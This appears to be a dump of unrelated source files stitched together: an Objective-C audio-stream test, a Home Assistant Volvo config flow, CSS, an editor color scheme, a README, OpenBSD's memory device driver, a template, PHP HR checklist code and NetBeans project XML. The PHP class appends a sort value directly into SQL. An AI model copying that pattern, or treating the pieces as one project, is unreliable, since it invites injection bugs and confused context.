    NSDate *timeoutDate = [[NSDate alloc] initWithTimeIntervalSinceNow:timeout];
    while (!timedOut && _keepRunning) {
        NSDate *tick = [[NSDate alloc] initWithTimeIntervalSinceNow:idle];
        [[NSRunLoop currentRunLoop] runUntilDate:tick];
        timedOut = ([tick compare:timeoutDate] == NSOrderedDescending);

        if (_checkStreamState) {
            // Stream started playing.
            XCTAssertTrue(([_controller.stream.contentType isEqualToString:@"audio/mpeg"]), @"Invalid content type");
            XCTAssertTrue(([_controller.stream.suggestedFileExtension isEqualToString:@"mp3"]), @"Invalid file extension");

            return;
        }
    }
    XCTAssertFalse(timedOut, @"Timed out - the stream did not start playing");
}

- (void)testMetaData
{
    [[NSNotificationCenter defaultCenter] addObserverForName:FSAudioStreamStateChangeNotification
                                                      object:nil
                                                       queue:nil
                                                  usingBlock:^(NSNotification *notification) {

                                                      NSLog(@"FSAudioStreamStateChangeNotification received!");

                                                      int state = [[notification.userInfo valueForKey:FSAudioStreamNotificationKey_State] intValue];

                                                      if (state == kFsAudioStreamPlaying) {
                                                          _checkStreamState = YES;

                                                          // Set the stream silent, better for testing
                                                          [_controller.stream setVolume:0];
                                                      }
                                                  }];

    [[NSNotificationCenter defaultCenter] addObserverForName:FSAudioStreamMetaDataNotification
                                                      object:nil
                                                       queue:nil
                                                  usingBlock:^(NSNotification *notification) {

                                                      NSDictionary *dict = [notification userInfo];
                                                      NSDictionary *metaData = [dict valueForKey:FSAudioStreamNotificationKey_MetaData];

                                                      NSLog(@"FSAudioStreamMetaDataNotification received!");

                                                      NSString *stationName = metaData[@"IcecastStationName"];

                                                      XCTAssertTrue([stationName isEqualToString:@"BBC 5Live"], @"Station name does not match.");
                                                  }];

    _controller.url = [NSURL URLWithString:@"http://www.bbc.co.uk/radio/listen/live/r5l_aaclca.pls"];
    [_controller play];

    NSTimeInterval timeout = 15.0;
    NSTimeInterval idle = 0.1;
    NSUInteger tickCounter = 0;
    BOOL timedOut = NO;

    NSDate *timeoutDate = [[NSDate alloc] initWithTimeIntervalSinceNow:timeout];
    while (!timedOut && _keepRunning) {
        NSDate *tick = [[NSDate alloc] initWithTimeIntervalSinceNow:idle];
        [[NSRunLoop currentRunLoop] runUntilDate:tick];
        timedOut = ([tick compare:timeoutDate] == NSOrderedDescending);

        if (_checkStreamState) {
            if (tickCounter > 20) {
                NSLog(@"2 seconds passed since the stream started playing, checking the state");

                // Checks done, we are done.
                _keepRunning = NO;

                return;
            } else {
                tickCounter++;
            }
        }
    }
    XCTAssertFalse(timedOut, @"Timed out - the stream did not start playing");
}

@end


text:
"""Config flow for Volvo On Call integration."""
from __future__ import annotations

from collections.abc import Mapping
import logging
from typing import Any

import voluptuous as vol
from volvooncall import Connection

from homeassistant import config_entries
from homeassistant.const import (
    CONF_PASSWORD,
    CONF_REGION,
    CONF_UNIT_SYSTEM,
    CONF_USERNAME,
)
from homeassistant.data_entry_flow import FlowResult
from homeassistant.helpers.aiohttp_client import async_get_clientsession

from . import VolvoData
from .const import (
    CONF_MUTABLE,
    DOMAIN,
    UNIT_SYSTEM_IMPERIAL,
    UNIT_SYSTEM_METRIC,
    UNIT_SYSTEM_SCANDINAVIAN_MILES,
)
from .errors import InvalidAuth

_LOGGER = logging.getLogger(__name__)

class VolvoOnCallConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):
    """VolvoOnCall config flow."""

    VERSION = 1
    _reauth_entry: config_entries.ConfigEntry | None = None

    async def async_step_user(
        self, user_input: dict[str, Any] | None = None
    ) -> FlowResult:
        """Handle user step."""
        errors = {}
        defaults = {
            CONF_USERNAME: "",
            CONF_PASSWORD: "",
            CONF_REGION: None,
            CONF_MUTABLE: True,
            CONF_UNIT_SYSTEM: UNIT_SYSTEM_METRIC,
        }

        if user_input is not None:
            await self.async_set_unique_id(user_input[CONF_USERNAME])

            if not self._reauth_entry:
                self._abort_if_unique_id_configured()

            try:
                await self.is_valid(user_input)
            except InvalidAuth:
                errors["base"] = "invalid_auth"
            except Exception:  # pylint: disable=broad-except
                _LOGGER.exception("Unhandled exception in user step")
                errors["base"] = "unknown"
            if not errors:
                if self._reauth_entry:
                    self.hass.config_entries.async_update_entry(
                        self._reauth_entry, data=self._reauth_entry.data | user_input
                    )
                    await self.hass.config_entries.async_reload(
                        self._reauth_entry.entry_id
                    )
                    return self.async_abort(reason="reauth_successful")

                return self.async_create_entry(
                    title=user_input[CONF_USERNAME], data=user_input
                )
        elif self._reauth_entry:
            for key in defaults:
                defaults[key] = self._reauth_entry.data.get(key)

        user_schema = vol.Schema(
            {
                vol.Required(CONF_USERNAME, default=defaults[CONF_USERNAME]): str,
                vol.Required(CONF_PASSWORD, default=defaults[CONF_PASSWORD]): str,
                vol.Required(CONF_REGION, default=defaults[CONF_REGION]): vol.In(
                    {"na": "North America", "cn": "China", None: "Rest of world"}
                ),
                vol.Optional(
                    CONF_UNIT_SYSTEM, default=defaults[CONF_UNIT_SYSTEM]
                ): vol.In(
                    {
                        UNIT_SYSTEM_METRIC: "Metric",
                        UNIT_SYSTEM_SCANDINAVIAN_MILES: "Metric with Scandinavian Miles",
                        UNIT_SYSTEM_IMPERIAL: "Imperial",
                    }
                ),
                vol.Optional(CONF_MUTABLE, default=defaults[CONF_MUTABLE]): bool,
            },
        )

        return self.async_show_form(
            step_id="user", data_schema=user_schema, errors=errors
        )

    async def async_step_import(self, import_data) -> FlowResult:
        """Import volvooncall config from configuration.yaml."""
        return await self.async_step_user(import_data)

    async def async_step_reauth(self, user_input: Mapping[str, Any]) -> FlowResult:
        """Perform reauth upon an API authentication error."""
        self._reauth_entry = self.hass.config_entries.async_get_entry(
            self.context["entry_id"]
        )
        return await self.async_step_user()

    async def is_valid(self, user_input):
        """Check for user input errors."""

        session = async_get_clientsession(self.hass)

        region: str | None = user_input.get(CONF_REGION)

        connection = Connection(
            session=session,
            username=user_input[CONF_USERNAME],
            password=user_input[CONF_PASSWORD],
            service_url=None,
            region=region,
        )

        test_volvo_data = VolvoData(self.hass, connection, user_input)

        await test_volvo_data.auth_is_valid()


text:
body{
	margin:0px;
}
a:link,a:visited{
 text-decoration:none;
 color:#006
}
a:hover{
 text-decoration:underline;
 color:#0033CC
}
.headbody{
 background:url('../HeadBack.jpg')
}
.headmain{
 height:70px;
 border-bottom:1px solid #000066;
}
.menuBody{
 background:url('../menuB.jpg') repeat-y;
 text-align:left;
}
.menuUL{
 list-style:none;
 margin:0px;
 padding:0px;
}
.menuUL li{
 display:block;
 margin-bottom:5px;
}
.menuA:link,.menuA:visited{
 width:100%;
 height:35px;
 display:block;
 background:url('../menubutton.jpg') no-repeat 4px 0px;
 font-size:12px;
 color:#fff;
 text-decoration:none;
}
.menuA:hover{
 background:url('../menubutton.jpg') no-repeat 4px -36px;
 color:#fff;
 text-decoration:none;
}

.menuAS:link,.menuAS:visited{
 width:100%;
 height:35px;
 display:block;
 background:url('../menubutton.jpg') no-repeat 4px -72px;
 font-size:12px;
 color:#000;
 text-decoration:none;
 font-weight:bold;
}

.ContentBody{
 background:#DBDFE8 url(../mainback.jpg) repeat-x fixed; margin:10px;
}
.MainDiv{}
.MenuIcon{
 margin:1px 6px -12px 12px;
}
.CTitle{
	background:#3E70A6;
	padding:5px;
	text-align:left;
	color:#FFFFFF;
	font-size:13px;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}
.CContent{
	border-top: 1px solid #666666;
	border-right: 1px solid #CCCCCC;
	border-bottom: 1px solid #CCCCCC;
	border-left: 1px solid #666666;
	background-color: #FFFFFF;
}
.CPanel{
 padding:5px;
 font-size:12px;
 font-family: Verdana, Arial, Helvetica, sans-serif;
}
legend{
	color: #2c3e67;
	font-weight:bold;
}
fieldset{
	border-top: 1px solid #CCCCCC;
	border-right: 1px solid #CCCCCC;
	border-bottom: 1px solid #CCCCCC;
	border-left: 1px solid #CCCCCC;
	margin-top: 10px;
	margin-left:10px;
	margin-right:10px;
}
fieldset div{
 padding:0px;
}
fieldset td {
font-size:12px;
}
.shuom{
 padding:0px;
 color:#999;
 font-size:11px;
}
select{font-size:12px;}
input.text{
 border:1px solid #4f6480;font-size:12px;font-family: Verdana, Arial, Helvetica, sans-serif;height:18px
}
button{background:#fff;border:1px solid #999;padding:2px 2px 0px 2px;margin:4px;border-width:1px 3px 1px 3px;}
input.button{
 background:#fff;border:1px solid #999;padding:2px 2px 0px 2px;margin:4px;border-width:1px 3px 1px 3px;
}
input.buttonActive{
	color: #FFFFFF;
	background-color: #5C71AD;
	border: 1px solid #000066;
	height:20px;
	cursor:default;
}
input.buttonUnActive{
	color: #143E76;
	background-color: #CCD8E6;
	border: 1px solid #A4B9D2;
	height:20px;
	cursor:pointer;
 background:url(../UAb.jpg)

}
textarea{ border:1px solid #4f6480;font-size:12px;font-family: Verdana, Arial, Helvetica, sans-serif;}
.SubMenu{
	padding: 4px;
	border-bottom: 1px solid #003366;
	margin:-5px -5px 2px -5px;
	background-color: #E6EBF7;
}
.SubButton{
    margin-top: 6px;
	padding: 4px;
	text-align:center;
}
.TDHead{
 background:url(../M.jpg);
  border-bottom:1px solid #999;
  height:16px;
  font-weight:bold;
}
.TablePanel{
 border:1px solid #999
}
.TablePanel td{font-size:12px;}
.alertTxt{background:#FFCC00 url('../aM.gif');padding:8px 6px 8px 6px !important;padding:8px 6px 8px 6px;font-weight:bold;font-size:14px;}
.textFlow{text-overflow:ellipsis;overflow:hidden;white-space:nowrap }
#msgInfo{margin-bottom:8px;height:33px;top:80px;position:absolute;text-align:center;width:100%;}

  /*---Ö÷ÄÚÈÝÒ³Êý--*/
  .pageContent{margin:0 auto;padding:3px;text-align:left;height:16px;font-size:12px;}
  .NavTitle{float:left;font-weight:bold;}
  .page{padding-right:5px;height:18px;}
  .page ul{list-style:none;margin:0px;padding:0px}
  .page ul li{float:left;padding:0px 3px 0px 3px;}
  .page ul li.PageL {width:9px;height:16px;}
  .page ul li.PageR {width:9px;height:16px;}
  .PageLbutton{background:url('../BttnLeft.gif') 0px 0px;width:9px;height:16px;display:block;}
  .PageRbutton{background:url('../BttnRight.gif') 0px 0px;width:9px;height:16px;display:block;}

  /*---Skin Viewer---*/
  .selectskin{margin:5px;padding:6px;border:1px solid #4d3a22;background:#ffffce;height:100px}
  .unselectskin{margin:5px;padding:6px;border:1px solid #fff;height:100px}
  .skinimg{width:100px;height:100px;float:left;margin-right:6px;border:1px solid #ccc}
  .skinDes{line-height:150%;margin-bottom:12px;}
  .cskin{position: absolute;margin-left:74px !important;margin-left:-34px;margin-top:-12px !important;margin-top:-14px}

  .msgDiv{margin:4px;}
  .msgDiv .item{width:auto !important;width:100%;border:1px solid #D6DEF1;margin-bottom:8px;}
  .msgDiv .title{padding:4px;background:#E6EBF7;border-bottom:1px solid #AAC1E6;}
  .msgDiv .title .date{font-size:10px;color:#666}
  .msgDiv .title img{margin:0px 4px -3px 1px;}
  .msgDiv .blogTitle{float:right;margin-top:3px;background:url(../BttnRight.gif) -2px right no-repeat;padding-right:12px}
  .msgDiv .content{padding:3px 5px 3px 3px !important;padding:0px}
  .msgDiv .contentTB{padding:4px;line-height:150%;word-break:break-all;overflow:hidden}
  .msgDiv .reply{padding:0px;background:#F3F5FC;width:auto !important;width:100%;}
  .msgDiv .reply h5{padding-top:2px;padding-left:3px;border-bottom:1px solid #DAE1F3;margin:0px;font-size:12px}
  .msgDiv .reply h5 .tip{color:#f00;font-weight:100;margin-left:5px;}
  .msgDiv textarea{width:100%;margin:auto !important;background:transparent;margin:3px;padding:1px;border:0px solid #fff;cursor:pointer;height:33px;overflow:hidden;line-height:140% !important;line-height:130%}


text:
<?xml version="1.0" encoding="UTF-8"?>
<style-scheme version="1.0" name="Black Violet Blue">
  <style name="Text" foreground="#aaaaff" background="#000000"/>
  <style name="Link" foreground="#5242ff"/>
  <style name="Selection" background="#27226b"/>
  <style name="LineNumber" foreground="#424356"/>
  <style name="SearchResult" foreground="#d57544" background="#1d1304" bold="true"/>
  <style name="SearchScope" foreground="#000000" background="#444444"/>
  <style name="Parentheses" foreground="#bbbcff" background="#32324b" bold="true"/>
  <style name="ParenthesesMismatch" foreground="#ffaa00" bold="true"/>
  <style name="AutoComplete" foreground="#c0c0ff" background="#1a1a51"/>
  <style name="CurrentLine" foreground="#000000" background="#2a2c47"/>
  <style name="CurrentLineNumber" foreground="#52536b"/>
  <style name="Occurrences" foreground="#000000" background="#9c7000"/>
  <style name="Occurrences.Unused" foreground="#808000"/>
  <style name="Occurrences.Rename" foreground="#000000" background="#9c6640"/>
  <style name="Number" foreground="#91c8ff"/>
  <style name="String" foreground="#15b4ff"/>
  <style name="Type" foreground="#8ea4db"/>
  <style name="Local" foreground="#9391d4"/>
  <style name="Global"/>
  <style name="Field" foreground="#8aa0ff"/>
  <style name="Static" foreground="#7db4db"/>
  <style name="VirtualMethod" foreground="#b29bcf"/>
  <style name="Function" foreground="#9b85d6"/>
  <style name="Keyword" foreground="#b7b7ec"/>
  <style name="PrimitiveType" foreground="#c6c7ff"/>
  <style name="Operator" foreground="#7979ff"/>
  <style name="Preprocessor" foreground="#436a94"/>
  <style name="Label" foreground="#72a4e4"/>
  <style name="Comment" foreground="#a6fbff"/>
  <style name="Doxygen.Comment" foreground="#8affec"/>
  <style name="Doxygen.Tag" foreground="#bcb9ac"/>
  <style name="VisualWhitespace" foreground="#c0c0c0"/>
  <style name="QmlLocalId" foreground="#b5b5b5"/>
  <style name="QmlExternalId" foreground="#777cc6"/>
  <style name="QmlTypeId" foreground="#b2b7ff"/>
  <style name="QmlRootObjectProperty" foreground="#9eb8ff"/>
  <style name="QmlScopeObjectProperty" foreground="#98c4df"/>
  <style name="QmlExternalObjectProperty" foreground="#a0a2ff"/>
  <style name="JsScopeVar" foreground="#9391d4"/>
  <style name="JsImportVar" foreground="#4c78a8"/>
  <style name="JsGlobalVar" foreground="#8aa0ff"/>
  <style name="QmlStateName" foreground="#7997bc"/>
  <style name="Binding" foreground="#b09adc"/>
  <style name="DisabledCode" foreground="#5d5e7e"/>
  <style name="AddedLine" foreground="#3fc149"/>
  <style name="RemovedLine" foreground="#de5959"/>
  <style name="DiffFile" foreground="#427bff"/>
  <style name="DiffLocation" foreground="#5c9bff"/>
  <style name="DiffFileLine" background="#282814" underlineColor="#ffff00"/>
  <style name="DiffContextLine" background="#222a2d"/>
  <style name="DiffSourceLine" background="#312525"/>
  <style name="DiffSourceChar" background="#3a2222"/>
  <style name="DiffDestLine" background="#283026"/>
  <style name="DiffDestChar" background="#253925"/>
  <style name="LogChangeLine" foreground="#da9f08"/>
  <style name="Warning" underlineColor="#ffbe00" underlineStyle="DotLine"/>
  <style name="WarningContext" underlineColor="#ffbe00" underlineStyle="DotLine"/>
  <style name="Error" underlineColor="#ff0000" underlineStyle="DotLine"/>
  <style name="ErrorContext" underlineColor="#ff0000" underlineStyle="DotLine"/>
  <style name="Declaration"/>
</style-scheme>


text:
<center>![](http://i.imgur.com/vLYNR8r.png)</center>

# Errorify for Sailor

[![Build Status](http://img.shields.io/travis/sailorjs/sailor-errorify/master.svg?style=flat)](https://travis-ci.org/sailorjs/sailor-errorify)
[![Dependency status](http://img.shields.io/david/sailorjs/sailor-errorify.svg?style=flat)](https://david-dm.org/sailorjs/sailor-errorify)
[![Dev Dependencies Status](http://img.shields.io/david/dev/sailorjs/sailor-errorify.svg?style=flat)](https://david-dm.org/sailorjs/sailor-errorify#info=devDependencies)
[![NPM Status](http://img.shields.io/npm/dm/sailor-errorify.svg?style=flat)](https://www.npmjs.org/package/sailor-errorify)
[![Gittip](http://img.shields.io/gittip/Kikobeats.svg?style=flat)](https://www.gittip.com/Kikobeats/)

> Error normalizer for Sailor. Extend [express-validator-errors](https://github.com/ctavan/express-validator) interface.

## Install

```bash
npm install sailor-errorify
```

## Usage

```coffee
errorify = require 'sailor-errorify'
```

or using `sailor` dependency

```coffee
sailor 	 = require 'sailorjs'
errorify = sailor.errorify
```

## API

Ideal for response with error schema, for example:

```coffee
unless user
  return errorify
  .add 'identifier', translate.get('User.NotFound'), user
  .end res, 'notFound'
```

In this case return a `notFound` response:

```json
{
    "errors": [
        {
            "param": "identifier",
            "msg": "Identifier doesn't found"
        }
    ]
}
```

## License

MIT © sailorjs


text:
/*	$OpenBSD: mem.c,v 1.3 2004/05/07 15:30:02 miod Exp $ */

/*
 * Copyright (c) 1988 University of Utah.
 * Copyright (c) 1982, 1986, 1990, 1993
 *	The Regents of the University of California.  All rights reserved.
 *
 * This code is derived from software contributed to Berkeley by
 * the Systems Programming Group of the University of Utah Computer
 * Science Department.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *	@(#)mem.c	8.3 (Berkeley) 1/12/94
 */

/*
 * Memory special file
 */

#include <sys/param.h>
#include <sys/buf.h>
#include <sys/systm.h>
#include <sys/uio.h>
#include <sys/malloc.h>

#include <machine/board.h>
#include <machine/conf.h>

#include <uvm/uvm_extern.h>

caddr_t zeropage;
extern vaddr_t last_addr;

/*ARGSUSED*/
int
mmopen(dev, flag, mode, p)
	dev_t dev;
	int flag, mode;
	struct proc *p;
{

	switch (minor(dev)) {
		case 0:
		case 1:
		case 2:
		case 12:
			return (0);
		default:
			return (ENXIO);
	}
}

/*ARGSUSED*/
int
mmclose(dev, flag, mode, p)
	dev_t dev;
	int flag, mode;
	struct proc *p;
{

	return (0);
}

/*ARGSUSED*/
int
mmrw(dev, uio, flags)
	dev_t dev;
	struct uio *uio;
	int flags;
{
	vaddr_t o, v;
	int c;
	struct iovec *iov;
	int error = 0;
	static int physlock = 0;
	extern caddr_t vmmap;

	if (minor(dev) == 0) {
		/* lock against other uses of shared vmmap */
		while (physlock > 0) {
			physlock++;
			error = tsleep((caddr_t)&physlock, PZERO | PCATCH,
			    "mmrw", 0);
			if (error)
				return (error);
		}
		physlock = 1;
	}
	while (uio->uio_resid > 0 && error == 0) {
		iov = uio->uio_iov;
		if (iov->iov_len == 0) {
			uio->uio_iov++;
			uio->uio_iovcnt--;
			if (uio->uio_iovcnt < 0)
				panic("mmrw");
			continue;
		}
		switch (minor(dev)) {

/* minor device 0 is physical memory */
		case 0:
			/* move one page at a time */
			v = uio->uio_offset;
			if (v > last_addr) {
				error = EFAULT;
				goto unlock;
			}
			pmap_enter(pmap_kernel(), (vaddr_t)vmmap,
			    trunc_page(v),
			    uio->uio_rw == UIO_READ ? VM_PROT_READ : VM_PROT_WRITE,
			    (uio->uio_rw == UIO_READ ? VM_PROT_READ : VM_PROT_WRITE) | PMAP_WIRED);
			pmap_update(pmap_kernel());
			o = uio->uio_offset & PGOFSET;
			c = min(uio->uio_resid, (int)(NBPG - o));
			error = uiomove((caddr_t)vmmap + o, c, uio);
			pmap_remove(pmap_kernel(), (vaddr_t)vmmap,
			    (vaddr_t)vmmap + NBPG);
			pmap_update(pmap_kernel());
			continue;

/* minor device 1 is kernel memory */
		case 1:
			v = uio->uio_offset;
			c = min(iov->iov_len, MAXPHYS);
			if (!uvm_kernacc((caddr_t)v, c,
			    uio->uio_rw == UIO_READ ? B_READ : B_WRITE))
				return (EFAULT);
			if (v < NBPG) {
#ifdef DEBUG
				/*
				 * For now, return zeros on read of page 0
				 * and EFAULT for writes.
				 */
				if (uio->uio_rw == UIO_READ) {
					if (zeropage == NULL) {
						zeropage = (caddr_t)
						    malloc(PAGE_SIZE, M_TEMP,
						    M_WAITOK);
						bzero(zeropage, PAGE_SIZE);
					}
					c = min(c, NBPG - (int)v);
					v = (vaddr_t)zeropage;
				} else
#endif
					return (EFAULT);
			}
			error = uiomove((caddr_t)v, c, uio);
			continue;

/* minor device 2 is EOF/RATHOLE */
		case 2:
			if (uio->uio_rw == UIO_WRITE)
				uio->uio_resid = 0;
			return (0);

/* should add vme bus so that we can do user level probes */

/* minor device 12 (/dev/zero) is source of nulls on read, rathole on write */
		case 12:
			if (uio->uio_rw == UIO_WRITE) {
				c = iov->iov_len;
				break;
			}
			if (zeropage == NULL) {
				zeropage = (caddr_t)
				    malloc(PAGE_SIZE, M_TEMP, M_WAITOK);
				bzero(zeropage, PAGE_SIZE);
			}
			c = min(iov->iov_len, PAGE_SIZE);
			error = uiomove(zeropage, c, uio);
			continue;

		default:
			return (ENXIO);
		}
		if (error)
			break;
		iov->iov_base += c;
		iov->iov_len -= c;
		uio->uio_offset += c;
		uio->uio_resid -= c;
	}
	if (minor(dev) == 0) {
unlock:
		if (physlock > 1)
			wakeup((caddr_t)&physlock);
		physlock = 0;
	}
	return (error);
}

paddr_t
mmmmap(dev, off, prot)
        dev_t dev;
        off_t off;
	int prot;
{
	return (-1);
}

/*ARGSUSED*/
int
mmioctl(dev, cmd, data, flags, p)
	dev_t dev;
	u_long cmd;
	caddr_t data;
	int flags;
	struct proc *p;
{
	return (EOPNOTSUPP);
}


text:
{% extends 'g/layout.html' %}

{% block head %}
{% include 'g/macros/fields.html' %}
{% strings 'fields.json' 'sign_in.json' %}
<link type="text/css" rel="stylesheet" href="/css/forms">

{% endblock %}

{% block content %}

{{l.signIn}}

<form class="inner_content_480 form-1" onsubmit="submitForm(this, '/sign_in/query'); return false">

    {{l.needAnAccount}}
    {{l.signUp}}

  {{inputFields(fields)}}
  <input class="right button" type="submit" value="{{l.signIn}}">
</form>
{% endblock %}


text: ipython notebooks for the Duke class on Image and video processing


text:
<?php
/**
 * Provides functionallity for the administrative interface for the HR checklist
 */
class HRChecklistAdmin extends HRChecklist {

	//Checklist type
  public $type = 'employee-exit';

	//display only incomplete checklists
	public $is_incomplete = false;

	//acs or desc?
	public $sort = 'DESC';

	//Filter for checklists
	public $search  = null;

	//offset for pagination
	public $offset = 0;

	//limit for pagination
	public $limit = 10;

	//this is where all the checklists gets populated
	public $checklists = array();

	/**
	 *  args is an associative array withi key value pairs chosen from this list chosen from this list
	 *
	 *	type = Checklist type
	 *	is_incomplete (boolean) = decides whether to return completeted checklists
	 *	sort (enum) = ASC, DESC
	 *	search = Term to filter results TODO
	 *
	 */
	function __construct( $args = null )	{

		if( $args != null ) {
			foreach( $args as $k=>$v )	{
				$this->$k=$v;
			}//end foreach
		}//end if

	}//end construct

	/**
	 * returns all employee checklists of the type in the constructer
	 */
	public function get_all_checklists( $hidden = false ) {
		if( !$this->type )
			return false;

		$args = array(
			$this->type,
			false,
			$_SESSION['pidm'],
		);//end array

		if( ! $hidden ) {
			$where = " AND NOT EXISTS( SELECT 1 FROM checklist_user_settings u WHERE u.checklist_id = p.id AND pidm = ? )";
		} else {
			$where = " AND EXISTS( SELECT 1 FROM checklist_user_settings u WHERE u.checklist_id = p.id AND pidm = ? )";
		}//end else

		$sql = "
			SELECT p.*
			FROM
				person_checklists p
				JOIN phonebook.phonebook ph
					ON ph.pidm = p.pidm
				LEFT JOIN person_checklist_meta m
					ON m.checklist_id = p.id
					AND m.meta_key = 'end_date'
			WHERE
				p.type=?
			AND
				p.closed=?
				{$where}
			ORDER BY
				m.meta_value,
				ph.name_last,
				ph.name_first,
				p.activity_date
			".$this->sort;

		$this->checklists['pending'] = PSU::db('hr')->GetAll( $sql, $args );

		if( !(bool)$this->is_incomplete ) {

			$args = array(
				$this->type,
				true,
				$_SESSION['pidm'],
			);//end array

			$params = array(
				'sort' => 'desc'
			);
			$this->checklists['closed'] = PSU::db( 'hr' )->PageExecute( $sql, $this->limit, $this->offset, $args );

	 		$this->pagination = PSU::paginationInfo( $params, $this->checklists['closed'] );
			$this->pagination[ 'display_num' ] = $this->pagination['display_end'] - $this->pagination['display_start'] + 1;

		}//end if
	}

	/**
	 * returns the persons name replacing a pidm
	 */
	public static function get_name( $pidm, $format = 'l, f' ) {
		$person = new PSUPerson( $pidm );
		$name = $person->formatName( $format );
		$person->destroy();
		return $name;
	}//end get_name

	public static function is_category_complete( $category, $checklist_id ) {

		$items = HRChecklist::get_items( array( 'category' => $category ) );

		foreach ( (array)$items as $item ) {
			if( HRChecklist::item_response( $item[ 'id' ], $checklist_id ) == 'complete' ) {
				$complete_count++;
			}//endif
		}//end foreach

		if( count($items) == $complete_count )	{
			return true;
		}//end if

		return false;

	}
	public static function last_updated_by( $category, $checklist_id ) {

		$sql = '
			SELECT
				activity_date date,
				updated_by who
			FROM
				person_checklist_items
			WHERE
				item_id IN (
					SELECT id
					FROM  checklist_items ci
					WHERE ci.category_id=?
				) AND
				checklist_id=?
			ORDER BY date DESC
					';
			$binds = array( $category );
			$binds[] = $checklist_id;
			return PSU::db( 'hr' )->getone( $sql, $binds );

	}

	/**
	 * retrieves all of the checklists and associated meta data selected in the contructor args or the defaults
	 */
	public function populate_checklists() {

		$this->get_all_checklists();

		$this->categories = HRChecklist::categories( $this->type );

		if( $this->checklists[ 'pending' ] ) {

			foreach( $this->checklists[ 'pending' ] as &$checklist )	{
				$checklist[ 'closed' ] = HRChecklist::is_complete( $this->type, $checklist[ 'id' ] );
				$checklist[ 'person_name' ] = self::get_name( $checklist[ 'pidm' ] );
				$checklist[ 'meta' ][ 'end_date' ] = HRChecklist::get_meta( $checklist[ 'id' ], 'end_date', 1 );

				foreach( $this->categories as $category ) {
					$category[ 'is_complete' ] = self::is_category_complete( $category[ 'id' ], $checklist[ 'id' ] );
					$category[ 'updated' ] = self::last_updated_by( $category[ 'id' ], $checklist[ 'id' ] );
					$category[ 'reminder' ] = HRChecklist::get_meta( $checklist[ 'id' ], 'reminder_'.$category['slug'], 1 );
					$items = HRChecklist::get_items( array( 'category' => $category['id'] ) );
					$category[ 'items' ] = array();
					foreach( $items as $item ) {
						$item['response'] = HRChecklist::item_response( $item[ 'id' ], $checklist['id'], '*', 'GetRow' );
						$category['items'][ $item['slug'] ] = $item;
					}//end foreach
					$checklist[ 'category' ][] = $category;
				}//end foreach

			}//end foreach

		}//end if
		$checklist_temp = array();

		if( $this->checklists[ 'closed' ] ) {

			while($c = $this->checklists[ 'closed' ]->fetchrow())	{
				$c[ 'closed' ] = HRChecklist::is_complete( $this->type, $c[ 'id' ] );
				$c[ 'person_name' ] = self::get_name( $c[ 'pidm' ] );
				$c[ 'meta' ]['closed'] = HRChecklist::get_meta( $c[ 'id' ], 'closed', 1 );
				$c[ 'meta' ][ 'end_date' ] = HRChecklist::get_meta( $c[ 'id' ], 'end_date', 1 );

				foreach( $this->categories as $category ) {
					$category[ 'is_complete' ] = self::is_category_complete( $category[ 'id' ], $c[ 'id' ] );
					$category[ 'updated' ] = self::last_updated_by( $category[ 'id' ], $c[ 'id' ] );
					$category[ 'reminder' ] = HRChecklist::get_meta( $c[ 'id' ], 'reminder_'.$category['slug'], 1 );
					$c[ 'category' ][] = $category;
				}//end foreach
				$checklist_temp[] = $c;
			}//end foreach
			$this->checklists[ 'closed' ] = $checklist_temp;

		}//end if

	}//end populate_checklists
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://www.netbeans.org/ns/project/1">
    <type>org.netbeans.modules.web.project</type>
    <configuration>
        <data xmlns="http://www.netbeans.org/ns/web-project/3">
            <name>buchladen-war</name>
            <minimum-ant-version>1.6.5</minimum-ant-version>
            <web-module-libraries>
                <library dirs="100">
                    <file>${reference.buchladen-ejb.dist}</file>
                    <path-in-war>WEB-INF/lib</path-in-war>
                </library>
                <library dirs="200">
                    <file>${reference.buchladen-ejb-remote-interface.jar}</file>
                    <path-in-war>WEB-INF/lib</path-in-war>
                </library>
                <library dirs="200">
                    <file>${file.reference.commons-codec-1.9.jar}</file>
                </library>
                <library dirs="200">
                    <file>${file.reference.commons-validator-1.4.0.jar}</file>
                </library>
                <library dirs="200">
                    <file>${file.reference.commons-collections-3.2.1.jar}</file>
                    <path-in-war>WEB-INF/lib</path-in-war>
                </library>
                <library dirs="200">
                    <file>${file.reference.commons-logging-1.2.jar}</file>
                    <path-in-war>WEB-INF/lib</path-in-war>
                </library>
                <library dirs="200">
                    <file>${file.reference.jcaptcha-1.0-all.jar}</file>
                </library>
                <library dirs="200">
                    <file>${file.reference.jcaptcha-1.0-all.jar-1}</file>
                    <path-in-war>WEB-INF/lib</path-in-war>
                </library>
            </web-module-libraries>
            <web-module-additional-libraries/>
            <source-roots>
                <root id="src.dir"/>
            </source-roots>
            <test-roots>
                <root id="test.src.dir"/>
            </test-roots>
        </data>
        <references xmlns="http://www.netbeans.org/ns/ant-project-references/1">
            <reference>
                <foreign-project>buchladen-ejb</foreign-project>
                <artifact-type>jar</artifact-type>
